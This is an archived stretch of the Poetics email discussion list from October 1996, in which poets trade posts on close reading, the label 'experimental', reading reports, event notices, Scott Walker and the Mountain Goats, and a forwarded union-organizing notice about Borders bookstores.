On the other hand, in doing such close readings, I often feel like I'm wasting time writing about poetry whose assumptions trouble me when I would prefer to write about poetry I like. There's the famous Frank O'Hara quote that Charles Bernstein was fond of using to me and others when I was a graduate student, a quote I'm going to paraphrase here--"Why write about poetry you don't like? History will take care of it for you." That position seems too hopeful to me, finally, but nonetheless, I do see the point of spending the little time I do have for critical writing on work that's congenial to me.

It's a thorny problem, in any case.

Mark Wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:

| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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429. **Eryque Gleason**
Re: primi too taa
Mon 21 Oct 1996

louis, thanks a lot!

> *Eryque,*
>
> *Your man is Colin Morton. He's a poet and a good concrete poet. That film he did with folk in Winnipeg, I believe. In oTtawa he founded First Draft, a sound poetry performance group that empphasized script over improvisation (some tapes still kicking around), in the 80s. I agree, it's a great short film. He's at* [redacted]
>
> *-Louis*

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430. **Jordan Davis**
Spahr (long work), Davis 19
Mon 21 Oct 1996

Spahr (long work), Davis 19 at Poetry City

Time: S (17 mins), D (30 mins)
Attendance: 40

Setting a land speed record (and reminding many in the audience of Husker Du's best work), Juliana Spahr read from her long work "Live" at Poetry City last Friday. "What some of you fond of gerunds might call 'being human'", "or inappropriate 'uh'", "have you done mean things to people on purpose?", "methodologically sound if safely unsexy", "I may be ready to be a New York poet, I am beginning to know my way around", "I no longer take offense to New York-centric statements". Rhythmically, Spahr returned often to the pattern of "You or I are turning some man-or-woman head". Spahr gave an exciting, continuous-seeming reading, which was the opening half of this rain make-up doubleheader. She wore a black knit top, flower-print pants, and black shoes.

After a twelve-minute intermission, Anna Malmude introduced the second reader. Tim Davis, dressed in black jacket (with two pens like fangs in the breast pocket), black jeans, black wing-tips, and a grey buttoned-up shirt, maintained a laugh-to-poem ratio of almost 2 throughout the reading, which included poems from his new book, _My Life in Politics, or a History of

N=A=R=R=A=T=I=V=E Film_. The main part of his 19-poem reading was a series of poems written while on lunch break from his Eighth Avenue office. Forget Laughlin, cable Ferlinghetti--these are the lunch poems we've been waiting for. "This is the blankety all of content dependeth on", "Manhattan held a fenfull", "hulky run of buzzer doors", "a tremendous verse blew in", "yoo-hoo you", "another nestegg weasel rain", "take that acre, mule, and lurk in it", "all of history's letterhead", "a snuff film of butterflies running things", "This writing is Sudetenland", "stapled to a frappe", "a fart of cold, cold Rolaids", "Roger Rilke, over", "has-been ISBNS over and over...", "file under rank", "Grandma fingered a Fed", "gauze is good", "Uncle Duh had opened a glass of sash", "the bantu Jackie Coogan", "eau de Nickelodeon", "is this a delicious baloney?", "a crow in every ficus". I could go on, and so could Tim, whose side comments and pauses were flawless.

In the audience alternately rapt and howling were: Bill Luoma, Brian Kim Stefans, Bernadette Mayer, Phil Good, Barbara Henning, Anselm Berrigan, Kevin Davies, Deirdre Kovac, Jeff Hull, Brenda Coultas, Eleni Sikelianos, Tim Griffin, Brigham Taylor, Judith Goldman, Kim Rosenfield, Rob Fitterman, Liz Fodaski, Dug Rothschild, Larry Fagin, Charles Weigl, Chris Stroffolino, Doug Stone, Catherine Talese, Nick Ciraldo, Alystyre Julian and Judean Patten.

Once again, the Cedar's upstairs seating was closed for renovation. The post-reading crowd also found itself closed out of the Old Town Bar (this is why readings in New York on Friday nights are no good -- no place to take everybody afterwards), which had room at the bar, but no place to sit. Tim volunteered his Ave A apartment, bought pizzas, many brought beer, and the group carried on for several hours more.

Schedule notices: This week, Poetry City goes back to its usual Thursday night slot with Poetry Project workshop leader Todd Colby and Cinema of Transgression inventor Nick Zedd. On Halloween, Poetry City will host San Franciscan Steve Carll and Stuyvesant town's own Carol Malmude Szamatowicz. And on 11/7 at 7 p.m., John Wieners and Eleni Sikelianos.

--Jordan Davis

↑ Index

431. Aldon L. Nielsen
Re: Being regarded as a dangerous experimentalist"
Mon 21 Oct 1996

This about the "primary" meaning of a word in science when applying it to another field is deeply distrubing -- we're not talking about quarks here -- as it wd. severely narrow the usage of an old and capacious term. My OED (admittedly the old edition -- I have to join that book clud so I can afford the newerversion)

-- cites, to our point -- Kimble, 1878 "Though a poet should have a strongly passionate nature . . .he should . . . be able to expermentalize with it"

OED's first def. is "the action of trying anything, or putting it to proof; a test, trial" -- clearly, that which is put to proof is not restricted to hypotheses -- and their is "experiment" in its theological sense -- "to have experience of" -- Caxton, 1483 -- "And these thynges sene and experymented, Esope returned to his labors"

I have nbo problem with scientists using the word "experiment," as they have for centuries -- but I would hate to think that the word was to taken away from these other domains of experimental abuse --

"no problem," that is --

The term "experimental" poetry causes a rucus whenever it appears, but it appears to me to combine deliciously two of the oldest senses of the word --

But maybe this sense of mine dates to my days as an experimental Baptist --

this is not, by the way, experimental spelling -- You can tell when I'm away from my San Jose State office by the percentage of errors in my transmissions

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432. Rod Smith
Re: Marginalized?
Mon 21 Oct 1996

H Gould writ:
> But what I'm
trying to suggest is that perhaps there's a "basic >theoretical poetry"
just as there's a "basic theoretical science", and if >this is the case,
caution is called for before politicizing either >"experimental" or
"mainstream" on behalf of a political slant (either the >politics of
publication & literary clout, or politics per se)

H, I think there may be a a "basic theoretical poetry." It would be that poetry is the type of writing that most resists decontextualization. The Chomsky/Whorf debate applies here-- but seems to me one cld argue Chomsky's deep structure also, or complimentarily, gives a view of language which honors the primacy of the individual. Seems to me the resistance to politicization is a very american phenomenon. In other industrial countries people still have a sense of the importance & value of their political opinions-- some degree of efficacy. Though that difference is disappearing as the global americanization (i.e. corporatization) continues. L.B.O. of the M.F.A.s?

--Rod

↑ Index

433. **Keith Tuma**
Re: close readings
Mon 21 Oct 1996

I keep asking History to take care of things for me, and it don't say a word.

Once, a few years ago, Hegel showed up on my doorstep, with his dirty owl and a stick of bubblegum marked "Eastern Europe." He said, "Chew on this Dude." I said "It ain't Halloween yet, MasterNarrative, get that bird off my porch."

He said he'd be back.

--kt

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434. **henry g**
Re: Marginalized?
Mon 21 Oct 1996

Rod, I agree with you completely (I think). See F. Oh'Hara's "Personism" on abstraction & individual. Nor did I mean to put down the useless play side of basic poetry. But if there's a "cognitive" side to it, an experimental discovery side of it, then there's no need to try to politicize mainstream/experimental. ALL authentic stuff is inherently experimental. And the cognitive/communicative aspect of the experiment may be less obviously experimental on the formal side while VERY "experimental" in the political/communicative side.

What I don't agree with is academic phantom politics. The hoot & holler of us vs them, as if "new writing" = vanguard politics. To me that's a politically-correct smokescreen for very tiny office politics. - Henry Gould

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435. **Ira Lightman**
Meeting the poet through the poem
Mon 21 Oct 1996

It may just be a feature of living the other
side of an ocean away from most of the living poets
I read, but I have often found that the piece of
writing I most like is done by the writer I most
want to meet as a person; ie not just intelligent
and artful but human. Yet it's often said (to readers?)
that they will only be disappointed, I haven't found

this. I think this certainly about Carla Harryman, who was the first Language Writer I really really liked and the first I met; the 2 or 3 conversations I've had in person with her feel like the biggest reading poetry buzz, not like from "fame" but that private thing of a book you read and the words in you reading.

Has anyone else found this? Feeling the writer is a companion just from the text, then finding it so?

Best

Ira

↑ Index

436. John Cayley
defensiveness as prop?
Mon 21 Oct 1996

Never understood the (lack of real) relations between poetic and p(r)op lyricism, but was compelled to use a Stephen Morrissey (from the great days of the Smiths) utensil at the head of a forthcoming collection:

> so I broke into the palace
> with a sponge and a rusty spanner...

There's a lot I'd be happy to read/recite(/sing?) from (Smiths-era) Morrissey, in any company.

And what about the Scott Walker of 'Climate of Hunter' and 'Tilt'? What do 'we' think of that?

- - - - - >
John Cayley Wellsweep Press [in Chinese HZ:]
^ innovative literary translation from Chinese ^
1 Grove End House 150 Highgate Road London NW5 1PD UK
Tel & Fax: 0[redacted] Email: [redacted]
http://www.demon.co.uk/eastfield/
< - - - - -

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437. Tosh Berman
Re: defensiveness as prop?
Mon 21 Oct 1996

er...
>
>There's a lot I'd be happy to read/recite(/sing?) from (Smiths-era)
>Morrissey, in any company.
>
>And what about the Scott Walker of 'Climate of Hunter' and 'Tilt'? What do
>'we' think of that?
>
>- - - - - >
>Bravo for even mentioning Morrissey and Scott Walker. "Tilt" is wonderful
>poetry.

tosh

↑ Index

438. Mary Hilton
"Lead, Glass and Poppy" by Kristin Prevallet
Mon 21 Oct 1996

Now available from primitive publications -- "Lead, Glass and Poppy," by Kristin Prevallet, a riveting work incorporating past and present news stories into a "millennial convergence poem."

About this chapbook, Mark Wallace writes: "Kristin Prevallet's work presents a distinctly modern witchery, a series of spells and counterspells designed to drive us from complacency with a paradoxically generous black magic. In her new chapbook, 'Lead, Glass and Poppy,' Kristin details exactly what happens when human beings take off blithely for the sun; they experience intense heat, destructive fallout, and the debris of deluded dreams. What surprise, then, that they find themselves once more in the chaotic history of misunderstood desires for transcendence."

primitive publications produces approximately six chapbooks a year, focusing on present-day writing based on historical text, language or subject. Cost of one chapbook is $4.00, or $20.00 for a subscription of six. Other titles include:

The History of the State May Last, 1616, by Mary Hilton
The Haunted Baronet, by Mark Wallace

All checks may be made payable to Mary Hilton and mailed to:

primitive publications c/o Mary Hilton
1706 U Street, NW, #102
Washington, DC 20009
e-mail: [redacted] *or* [redacted]

Inquires, submissions, or requests to be included on the mailing list are welcome. Thank you.

↑ Index

439. Bill Luoma
Ichor
Mon 21 Oct 1996

Hope you can come to hear David Shapiro, John Godfrey & Brenda Coultas this fri night. this starts the second season of the Ichor series.

@Clementine Gallery
526 W 26th St, 2nd floor
8:30 pm

drinks will be served.

bcnu

↑ Index

440. Aldon L. Nielsen
Re: My Ship Is Coming In
Mon 21 Oct 1996

"We" who still live where Walker once walked have had precious little opportunity to make anything at all of his post "Make It Easy on Yourself" recordings -- BUT, a new sampler of a decade or so of work since Walker left the Walker Brothers has now been released here --

No matter what anyone might make of Walker's writing, he's one of the greatest singing voices of his time -- (Though he often threw it away in the old days on songs about tight skirts and big legs)

↑ Index

441. Tony Green
Re: Marginalized?
Mon 21 Oct 1996

Henry Gould, oh no, I wasn't in the least bothered abt
self-marginalization -- I happily marginalize my"self"
all the livelong day etc. when left to my own devices.

I was hoping that Thomas Bell might know something more than
I cd guess at abt the motivation of the debate going on: more than
anything I was interested to read Ira Lightman wanting to defend
Potts who had in Steve Evans's view written a kind
of review in which marginalizing or victimising further the victims of
marginalization seemed to be so clearly displayed. You know, a
psychoanalytic view of the whole performance wd not be amiss.

What sort of crazinesses are poetic ambitions? What is to be gained? in fact? in imagination?

best

Tony Green,
e-mail: [redacted]

↑ Index

442. George Bowering
Re: My Ship Is Coming In
Tue 22 Oct 1996

> *No matter what anyone might make of Walker's writing, he's one of the greatest singing voices of his time -- (Though he often threw it away in the old days on songs about tight skirts and big legs)*

Hey, onliest Walker I ever went and heard was Junior Walker and the All Stars. Am I right?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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443. Ron Silliman
What is a library?
Tue 22 Oct 1996

Having grown up with no more books in the house than Readers Digest Condensed novels and that wonderfully named low-end encyclopedia, The Book of Knowledge, I've had a lifelong appreciation for the transformative impact that a library (specifically the old Albany Public Library on Solano, now closed and

moved a block hence to a large new postmodern space) had on my life. I first read Williams' The Desert Music there at age 16 and understood for the first time that poetry would be my calling.

Much of what is going in SF with the new library is the fruition of many years of struggle over the direction of that place. Melissa Riley, who may be known to many on this list, has been involved in this for years -- the elimination of real librarians in the neighborhood libraries, the reduction of books, the elimination of neighborhood libraries themselves, etc.

But it's a two sided tale at the very least. One of the architects of the library, Cathy Simon (who is married to the poet Michael Palmer) discusses the project in detail in an article in Representations 42, Spring 1993 (a special issue on "Future Libraries" that remains the best single edition of that journal, one that can be said to be truly devoted to policy in the literal sense of polis, worth reading cover to cover).

Speaking of Michael Palmer, who last I heard was fond of writing in the Mission Branch of the SF Public Library, does anyone have an email address for the man?

All best,

Ron Silliman

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444. Jordan Davis
A Parade of Theories
Tue 22 Oct 1996

At 4:44 PM
the thing we like about poetry
is the uncertainty

At 9:05 AM we are certain about long-term value

Years ago, Fed
economists tracked corrugated-box sales
(a lot of stuff is packed in boxes). More
recently, Mr. Greenspan's command of
obscure statistics has ranged from scrap-
metal prices (often rising in good times)
to railroad carloadings (they also move
stuff). And with nothing more than an
offhand comment at a congressional hear-
ing, he has vaulted to market-moving

status such arcana as the diffusion index of
supplier-delivery lags (how long it takes
for raw materials to reach factories). The
dollar, the trade deficit, the price of gold
and, most recently, the monthly unemploy-
ment report have taken center stage.

At 8:40 PM I have to explain that the lack of experientia
is post-ironic, that the measure that puts youth and
youthful response with Bob Dylan and the Rolling Stones puts
Reagan in office, and that the sensuous experience of biting
my fingernail is one I can enjoy at any of my nine jobs

The mayor of Algiers was shot to death in
the Algerian capital. Witnesses and French
media say the official died in an ambush of
his motorcade by Muslim fundamentalist
rebels, but the Algerian government said he
was struck by a stray bullet at his home.

J

↑ Index

445. Peter Zukowski
Poetry reading in Chicago
Tue 22 Oct 1996

For those of you in or around Chicago,
(or who will be on Wednesday):

****

Private in Public Reading Series Presents

POETRY IN CHICAGO

a collaboration between Private Arts magazine and
the Musueum of Contemporary Art.

The Museum of Contemporary Art will celebrate the
verbal as well as the visual through this event,
presented in collaboration with Private Arts magazine.
"Poetry in Chicago" is presented in anticipation
of the upcoming MCA's exhibition
"Art in Chicago, 1945-1995."

Private Arts is a Chicago-based journal
that publishes avant-garde literature and
art from around the world.

FEATURED WRITERS

Brooke Bergan
Carlos Cumpian
William Fuller
John Jacob
Ralph J. Mills Jr.
Sterling Plumpp

220 East Chicago Ave.
Wednesday, October 23, 6 pm
Theater, Mayer Education Center, first floor
(Fee includes admission to the museum on the day
of the event.)

MCA members: $4
students and seniors: $6
nonmembers: $8

for information, or to purchase tickets in advance
call [redacted]

****

This one-of-a-kind event will present an
eclectic sampling of the most innovative
poetry coming out of Chicago.

Watch for a posting about the MCA's program
"Fiction in Chicago" on Wednesday, November 6.

↑ Index

446. **Tosh Berman**
Re: My Ship Is Coming In
Tue 22 Oct 1996

Again I have to strongly suggest his latest release "Tilt." It is a beautiful
record. His lyrical writing is extremely fine and has beautiful imagery.

↑ Index

447. **Steve Shoemaker**

Re: close readings

Tue 22 Oct 1996

The problem Mark mentions is one I've often been bothered by myself. Writing well about poetry, in my experience, requires giving the poetry in question a *lot* of time and attention, and i'd just rather lavish that effort on poetry i like. And i'm afraid the temptation wld be strong, in writing about poetry i *don't* like, to not do it even the justice it deserves.

This also intersects with a point I think Dodie raised about writers being free to dismiss work not useful to them. The poet in me feels this strongly, while the critic in me feels an obligation to be more fair-minded, and attentive. This is a dynamic that might be worth exploring in some detail. I'm quite aware, for ex., that just because certain work doesn't have value for me doesn't mean it might not be worthwhile for someone else. But I'm not sure the poet part of me, which has good reasons for ignoring or maybe even hating this work, wld allow the critic part to do a fair critical job of work on it. steve

On Mon, 21 Oct 1996, Mark Wallace wrote:

[snip]

> *On the other hand, in doing such close readings, I often feel like I'm wasting time writing about poetry whose assumptions trouble me when I would prefer to write about poetry I like. There's the famous Frank O'Hara quote that Charles Bernstein was fond of using to me and others when I was a graduate student, a quote I'm going to paraphrase here--"Why write about poetry you don't like? History will take care of it for you." That position seems too hopeful to me, finally, but nonetheless, I do see the point of spending the little time I do have for critical writing on work that's congenial to me.*
>
> *It's a thorny problem, in any case.*
>
> *Mark Wallace*
>
> /----------\
> | |
> | [redacted] "I have not yet begun |
> | to go to extremes" |
> | GWU: |
> | http://gwis2.circ.gwu.edu/~mdw |
> | EPC: |
> | http://writing.upenn.edu/epc/authors/wallace |
> |_____|

Steve Shoemaker

↑ Index

448. **Henry G**
Re: A Parade of Theories
Tue 22 Oct 1996

On Tue, 22 Oct 1996 09:16:02 -0400 Jordan Davis said:
>The mayor of Algiers was shot to death in
>the Algerian capital. Witnesses and French
>media say the official died in an ambush of
>his motorcade by Muslim fundamentalist
>rebels, but the Algerian government said he
>was struck by a stray bullet at his home.

What else is new in Byzantium? This just in: Fr. Bookotopos lambasted the iconoclasts again without leaving his chair, denouncing their position that the image proceeds directly and a-politically from the logos by way of the ouzia through the sun via the Cross-Bronx E.

Fr. Gouldoparrotalkis offered a triple analogy between language poetics & the sheepshank or bowline version of Joycotopolis's _Finneganousius' Testament to the Hippogriffians_.
>
Bread riots south of the statue of Emperor Theobillclintos.
New troubles in Hypo-Serbia. Turkey simmering on the anvil
of the Great Game. Noise in bars as usual.

- HG

↑ Index

449. **Keith Tuma**
mountain goats
Tue 22 Oct 1996

Hey all you listers out there with detailed and arcane knowledges of musics pop and otherwise, what can you tell me about The Mountain Goats?

A student put me onto them recently and I'm glad he did.

--Keith

↑ Index

450. **John Geraets**
Experimental marginalized
Tue 22 Oct 1996

Surely the thing we like about poetry, doing being or reading it, is the uncertainty, the uncertainty of that.

↑ Index

451. **Aldon L. Nielsen**
Re: I'm a Roadrunner, baby
Tue 22 Oct 1996

Now, The Walker Brothers conjoined with Jr. Walker; that WOULD have been a show to see--

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452. **Issa Clubb**
Re: mountain goats
Tue 22 Oct 1996

> *Hey all you listers out there with detailed and arcane knowledges of musics pop and otherwise, what can you tell me about The Mountain Goats?*

Ah, I've been hoping the song/poetry thread would get around to him, so here goes: basically "they" are John Darnielle, though his friend Rachel is enough a part of the band to justify the plural, I guess. He's been part of the "Inland Empire" So.Cal. cassette scene for a long time. He also has several CDs; they should be available at indie record stores. I would say _Zopilote Machine_ or _Sweden_ would be the places to start--the others are still great but (to put it simply) they don't have as many songs.

John's been trying to get into grad school in Classics, which explains the liner notes in Latin and the songs written from the p.o.v. of Roman emperors. He also has some idiosyncratic views on the history of American lit; you can follow this link -- http://www.duke.edu/~jnn/mountain_goats/mg.html -- to transcribed lyrics and some essays he's written about walt whitman and the bi-fi revolution. In his songs, all sorts of difficulties (history, literature, language & personal relationships) get wrapped up into intense little bursts of words that are usually narratives about places he's never been and people he's never known. Though I think he goes to Sweden some.

from "alpha incipiens" on Zopilote Machine:

i'm trying to piece together what you're saying
but the birds are screeching, the hounds are baying
i don't remember there being any hounds around here

And if the Alistair Galbraith/Mtn Goats tour comes through your town, I would go see it, it will be worth the effort more than likely.

--Issa

_____
Issa Clubb
Voyager Art Dept.
mailto:[redacted]

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453. Louis Cabri
Re: close readings
Tue 22 Oct 1996

I'm aware of all these problems, too, and I'm very aware of it, and that these are problems that we share, and we can, I think we can talk about these problems in an aware way, but not too far away as to be invisible. I'm aware of the philosopher side of me, I am because that side peels the onions to spite the horse of French philosophy - except to the neglect of the transportation clerk side of me who is really much like a historian side of a rare element like selenium seen through the microscope of a fungal specialist, a wrong side "detailleur" (as Frennch rugby players call the action of their heels) who asks for extra pancakes syrop and butter at the annual stampede breakfast. So, the idealism of onions any day of the week versus the self-interested transgressive sugar-load only on holidays: these are the positions that I am aware of holding while reading closely, and between the two I tarnish balefully sodden, until the enlightenment of my friends on this list encunted the discussion further than expected.

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454. George Bowering
Re: What is a library?
Tue 22 Oct 1996

> *the old Albany*
> *Public Library on Solano, now closed and moved a block hence to a large*
> *new postmodern space) had on my life. I first read Williams' The Desert*
> *Music there at age 16 and understood for the first time that poetry*
> *would be my calling.*

That was Ron Silliman.

Curious, because that was the poem that did it for me, too. I had been in the air force, and now here i was back at university, reading my way through the PS books, and finally I got to WCW, and when I opened that book, I was so alarmed that I dropped it onto the floor, great noise. Hey, come to think of it, I will be teaching it late in November.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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455. Kenneth Goldsmith
Call for Papers (Internet)
Tue 22 Oct 1996

I am offering free internet housing for papers related to visual, concrete, & sound poetry in hope of starting a web archive. This will be appended to a new (updated) site housing works of visual & concrete poetry (historical, contemporary, and insane). For more information please contact me at:

[redacted]

Thanks,

Kenny

+==========+ Kenneth Goldsmith play: http://wfmu.org/~kennyg [redacted] work: http://www.ubuweb.com 611 Bway, #702, NYC 10012 v.[redacted]

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456. Louis Cabri
michael moore
Tue 22 Oct 1996

According to Bronwyn S. Beistle:
From root Wed Oct 23 00:16:16 1996
From: "Bronwyn S. Beistle" <[redacted]>
Subject: POLITICS: Borders a low-down union-busting slime mold company

To: [redacted]
Date: Tue, 22 Oct 1996 20:03:25 -0400 (EDT)
Cc: [redacted], [redacted]

For everyone who, like me, frequents Borders: a little political update.

Bronwyn

> *---------- Forwarded message ----------*
> *Date: Sun, 20 Oct 1996 08:57:09 EDT*
> *From: Thomas R Carpenter <[redacted]>*
> *To: [redacted], [redacted], [redacted],*
> *[redacted], [redacted], [redacted],*
> *[redacted], [redacted], [redacted],*
> *[redacted], [redacted],*
> *[redacted], [redacted], [redacted],*
> *[redacted], [redacted], [redacted]*
>
> *Subject: The Grumpy Monkey Labor Watch*
>
> *Bad Borders Make for Bad Neighbors*
>
> *One of the Grumpy Monkey Labor Watch's regular contributors recently attended a Michael Moore (of "Roger & Me" and "TV Nation" fame) book signing this evening, courtesy of Unabridged Books; he's on a 47 city tour to promote his new book "Downsize This! Random Threats from an Unarmed American". He also had a film crew present, and said he's making a film about his experiences on this book tour. Anyway, near the end of the question and answer period following his hour-long talk, he mentioned the organizing efforts of the Chicago Borders Employees.*
>
> *On this book tour, Moore was scheduled to speak and do a book signing at a Borders store in Philadephia; when he arrived he found 200 people picketing outside the store, protesting the firing of a woman who had been attempting to organize the workers at that store. Not being one to cross a picket line, Moore decided not to speak, but instead turned over the microphone set up for him to the fired employee and the picketers (after obtaining the permission of the store's manager).*
>
> *One of the next stops on the tour was a brand-new Borders in lower Manhattan (I think in or very near the World Trade Center); when he got there, store managers informed him that he could sign books, but that he couldn't speak or read from his book "because of what happened in Philadelphia." ("And*

this was the week before Banned Book Week!" he said.)

After some negotiations between Random House and Borders, Moore decided to continue the book tour with a few more Borders-sponsored events as planned. In Des Moines he spoke and signed books at a local high school, unaware that the event was sponsored by a local Borders store. During the signing, a note was slipped to him (which he pulled out of his jacket pocket and read to us) saying that the Borders employees were having a secret meeting about joining a union the next evening and that the Des Moines booksigning event was staffed entirely by Borders management, as management didn't want Moore to meet with or talk to any of the employees (who were not allowed to even attend the event). After the signing, he was met in the parking lot by a group of Borders employees who told him that the District Manager for the midwest had flown in for the signing ("And never introduced himself to me," Moore said), that a union-busting consultant had been with the District Manager, moving around the room the whole time, and that several Borders employees who had attended anyway had been recognized and "written up" by the consultant; they were certain they were about to lose their jobs, just for attending the booksigning.

Some of the book tour has been filmed for Moore's latest project. According to Moore, the film he's making about his tour will definitely include his experiences with Borders. When he found out that a few employees from the Chicago Clark Street Borders were present, he asked if they would be willing to speak to him and the film crew after the signing; he also mentioned possibly showing up unannounced at the Clark Street Borders today (October 20th) to talk to people there.

WHAT YOU CAN DO: Show up at Borders on Clark Street today, and be obnoxious. Continue to pressure Borders employees in your area to organize.

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457. **Jeffrey W. Timmons**
Re: michael moore
Tue 22 Oct 1996

---

did anyone see the dc city paper on this local filmmaker--whose name i do not recall--who edited for m moore? apparently this guy agrees with some who suggest that the film roger and me was "manipulative"--in the sense that it deliberately altered chronology in the film to suit his political purpose. i share the films ethos but thought it was an interesting qualification; that and the fact that this filmmaker didnt get paid while moore had accepted some big-money gigs. i think we need more moores in the world but it sort of sounds like dole on campaign finance reform sometimes in this world of duplicitous complicity.

jeffrey timmons

↑ Index

458. **maria damon**
Re: michael moore
Tue 22 Oct 1996

---

though i enjoyed roger and me, i did take exception to the scenes in san francisco, where the voice-over scornfully reports that "everyone had a job but nobody seemed to be working" cuz they were all in cafes drinking their fancy coffee drinks, which they actually enjoyed as drinks, rather than simply as bitter-tasting stimulants for more productive facctory work. what i didn't like was the assumption that the virtuous model for work was the suffering, factory, time-clock type of work. flexible or self-determined schedules, the enjoyment of leisure and the ability to be creative in cafes rather than on the assembly line are clearly symtoms of coastal decadence, trivial and shallow.

In message <[redacted]> UB
Poetics discussion group writes:
> did anyone see the dc city paper on this local filmmaker--whose name i do
> not recall--who edited for m moore? apparently this guy agrees with some
> who suggest that the film roger and me was "manipulative"--in the sense
> that it deliberately altered chronology in the film to suit his political
> purpose. i share the films ethos but thought it was an interesting
> qualification; that and the fact that this filmmaker didnt get paid while
> moore had accepted some big-money gigs. i think we need more moores in
> the world but it sort of sounds like dole on campaign finance reform
> sometimes in this world of duplicitous complicity.

>
> jeffrey timmons

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459. **Steve Shoemaker**
Re: close readings
Tue 22 Oct 1996

Yes, the psychomachia is infinitely extensible. steve

On Tue, 22 Oct 1996,
Louis Cabri wrote:

> *I'm aware of all these problems, too, and I'm very aware of it, and that these are problems that we share, and we can, I think we can talk about these problems in an aware way, but not too far away as to be invisible. I'm aware of the philosopher side of me, I am because that side peels the onions to spite the horse of French philosophy - except to the neglect of the transportation clerk side of me who is really much like a historian side of a rare element like selenium seen through the microscope of a fungal specialist, a wrong side "detailleur" (as Frennch rugby players call the action of their heels) who asks for extra pancakes syrop and butter at the annual stampede breakfast. So, the idealism of onions any day of the week versus the self-interested transgressive sugar-load only on holidays: these are the positions that I am aware of holding while reading closely, and between the two I tarnish balefully sodden, until the enlightenment of my friends on this list encunted the discussion further than expected.*

Steve Shoemaker

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460. **Kevin Killian**
Re: defensiveness as prop?
Wed 23 Oct 1996

To all of you who have been talking about Scott Walker, hooray for "Tilt" and so forth, but my favorites are still the Walker Brothers records, especially the Burt Bacharach-Hal David numbers. Wayne Smith and I wrote a play about a year ago and used Scott's version of "The Windows of the World" throughout. (It was a play about window dressers who dream of achieving fame as fine artists, so it "fit" kind of. Now I undersand there is a whole CD mined from the London archive of Scott Walker singing Burt Bacharach including one duet with my other favorite Dusty Springfield. Al Nielsen is right, Scott is the sexiest man in the world, and George Bowering, you probably did hear the Walker Brothers at

least once upon a time, they had the #1 hit on the world charts at just about the same time you were writing your great poem "Brown Globe." ("You poets out there, if you still read words,/ Try to say something to me...."

Thanks! --Kevin Killian

> *Never understood the (lack of real) relations between poetic and p(r)op lyricism, but was compelled to use a Stephen Morrissey (from the great days of the Smiths) utensil at the head of a forthcoming collection:*
>
> *so I broke into the palace*
> *with a sponge and a rusty spanner...*
>
> *There's a lot I'd be happy to read/recite(/sing?) from (Smiths-era) Morrissey, in any company.*
>
> *And what about the Scott Walker of 'Climate of Hunter' and 'Tilt'? What do 'we' think of that?*
>
> *- - - - - >*
> *John Cayley Wellsweep Press [in Chinese HZ:]*
> *^ innovative literary translation from Chinese ^*
> *1 Grove End House 150 Highgate Road London NW5 1PD UK*
> *Tel & Fax: 0[redacted] Email: [redacted]*
> *http://www.demon.co.uk/eastfield/*
> *< - - - - -*

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461. Alan Honey Sondheim
(no subject)
Wed 23 Oct 1996

--

incommunicado "Trevor owned the stick"
blan0 blan0nalb 0nalb
bloo0 bloo0oolb 0oolb
down0 down0nwod 0nwod
stac0 stac0cats 0cats
stic0 stic0cits 0cits
tras0 tras0sart 0sart
sc0at "Blanche trashed it."
broug0broug0guorb0guorb
ched 0ched 0 dehc0 dehc
ck st0ck st0ts kc0ts kc
ck st0ck st0ts kc0ts kc
d tre0d tre0ert d0ert d

do i_0do i_0_i od0_i od
hed i0hed i0i deh0i deh
ht th0ht th0ht th0ht th
ick0ick0kci0kci
what0ever "Whatever."
k sti0k sti0its k0its k
k stu0k stu0uts k0uts k
ose s0ose s0s eso0s eso
say s0say s0s yas0s yas
tick 0tick 0 kcit0 kcit
tock 0tock 0 kcot0 kcot
unica0unica0acinu0acinu
ver0ver0rev0rev
whate0whate0etahw0etahw
virir "Did you hear that? Jennifer said 'whatever.'"

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462. Louis Cabri

Re: close readings

Wed 23 Oct 1996

Yes, my Soul had Sat ire's fully emblazoning Hide
Seeking laughter, then Knit a sweater for Your Brow, Steve,
As shining-trumptd Henry Would, or the Honey-Made Bill.
Are we infinitely Extensible, All, as So much
Limitation read o'er A Syllable's progression
Twenty-Thousand Beagles beneath the Knees, Long In tongue
And short in Fabled Pow'r to breach The prince's pimple?

↑ Index

463. Tosh Berman

Re: defensiveness as prop?

Wed 23 Oct 1996

I am thrilled (and that doesn't happen too much am afraid) that there are some Scott fans on this list. It's interesting because some of the old Scott fans hate his new music. As for myself it is an interesting bridge from old Scott to new Scott. He never looks back and just goes forward. I think TILT is just a beautiful record. Has anyone on the list read the Scott bio put out by Virgin in England? NoT bad music bio. At one point he was working with Eno and Daniel L... I forgot his last name, but he is the guitar player that played with Eno and produced U2, ETC. Well, anyway Daniel's habit of wearing a scarf around his head

really bugged Scott. Scott ended the sessions. Now that's what I call artistic temperment!

tosh

PS One should also buy the Walker Bros. NITE FLIGHT album. It was just re-issued and the Scott songs are similar to Bowie's Low period. I am sorry but this is poetry too!

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464. Carnography
mountain goats et albini
Wed 23 Oct 1996

Haven't responded to any of the music threads yet because I've been finishing up an English album which, for my penance, Steve C., I was forced to do in the keyboard style of *George Martin*. (And yes, Martin could be pretty great--but that was thirty years ago, for Christ's festering sake! *Why*, God, why do producers always make me recap pop music history 101, bitch moan whine, etc etc [pause while correspondent straps mutated bees to his palms, aims the pulsating thoraxes at his temples and drenches his own face in carcinogenic bug goo]...but I digress. And no, I'm not dissing the B's, I'm dodging my recent repertoire.)

Will get to that hardy handful in the next few days, but in the meantime:

I love the Mountain Goats unequivocally and have since last fall. John Darnielle is a funny and literate songwriter, that's for subjective certain. And to those who don't get the deadpan folk-music demeanor, I say:

"There are certain things about gardening you should know."--TMG

best best,

Rob Hardin

PS: I've been asked to submit ideas for interviews with musicians to _Bomb_ and have been thinking about George Perle, Helios Creed, Six-Finger Satellite and Bloody Valentine (because of the textures). But the Mountain Goats are just about perfect because they haven't really broken and are unashamedly literary. (Apparently, Bloody Val is "too new to be a classic but too old to be current." Which doesn't matter to me, but it definitely seems to matter to _Bomb_.)

If anyone knows how to get in touch with Darnielle, please backchannel the necessary info my way. Otherwise: until tomorrow.

See you then then.

http://www.interport.net/~scrypt

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465. **Pierre Joris**
Re: A Parade of Theories
Wed 23 Oct 1996

